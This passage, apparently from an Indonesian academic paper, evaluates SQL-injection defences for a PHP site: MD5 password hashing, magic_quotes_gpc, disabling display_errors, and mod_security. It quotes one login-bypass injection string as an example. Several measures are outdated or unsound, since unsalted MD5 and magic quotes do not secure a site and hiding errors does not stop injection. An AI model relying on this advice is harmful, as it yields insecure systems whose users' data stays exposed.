administrator pada folder atau nama yang lebih unik maka dapat mencegah ditemukannya halaman administrator oleh pihak luar. •
Penggunaan validasi dengan preg_match() dan hash M D5 pada password Fungsi preg_match() digunakan untuk validasi pola password yang harus digunakan, sehingga user harus memasukkan password yang kompleks. penggunaan hash M D5 dengan password yang kompleks harus dilakukan, sehingga jika sewaktu-waktu data berhasil didapatkan password tersebut tidak bisa digunakan oleh peretas karena M D5 merupakan hash satu arah yang tidak bisa di hash balik, dengan didukung tipe password yang kompleks maka akan mencegah peretas dalam mencocokan password dengan layanan M D5 yang tersedia di web, selain itu dikarenakan kompleksitas password maka akan menyulitkan dalam proses percobaan cracking password dengan brute force.
Evaluasi hasil implementasi pada server lokal : •
Penggunaan syntax magic_quotes_gpc pada file php.ini Dengan mengaktifkan magic_quotes_gpc pada file php.ini, maka dilakukan validasi pada text input, sehingga setiap ada karakter “ ‘ ” pada text input sebuah web akan ditambahkan karakter “ \ ” sebelum karakter “ ‘ ”, sehingga jika user memasukkan input ‘ OR ‘’=’ maka string pada database tidak akan bernilai true.
•
Penggunaan display_errors pada file php.ini
99
Dengan menon-aktifkan display_errors yang terdapat pada file php.ini, maka web yang tadinya menampilkan error saat di exploit tidak lagi menampilkan error tersebut sehingga tidak memungkinkan untuk dilakukan injeksi terhadap jumlah tabel. •
Instalasi mod_security pada linux Dengan melakukan instalasi mod_security pada server lokal yang menggunakan linux, maka web yang tadinya menampilkan error saat di exploit tidak
lagi
menampilkan error
tersebut
sehingga
tidak
memungkinkan untuk dilakukan injeksi terhadap jumlah tabel. Evaluasi hasil implementasi pada server web hosting : •
Penggunaan magic_quotes_gpc pada file .htaccess Dengan mengaktifkan magic_quotes_gpc pada file .htaccess, maka dilakukan validasi pada text input, sehingga setiap ada karakter “ ‘ ” pada text input sebuah web akan ditambahkan karakter “ \ ” sebelum karakter “ ‘ ”, sehingga jika user memasukkan input ‘ OR ‘’=’ maka string pada database tidak akan bernilai true.
•
Penggunaan display_errors pada file .htaccess Dengan menon-aktifkan display_errors yang terdapat pada file .htaccess, maka web yang tadinya menampilkan error saat di exploit tidak lagi menampilkan error tersebut sehingga tidak memungkinkan untuk dilakukan injeksi terhadap jumlah tabel.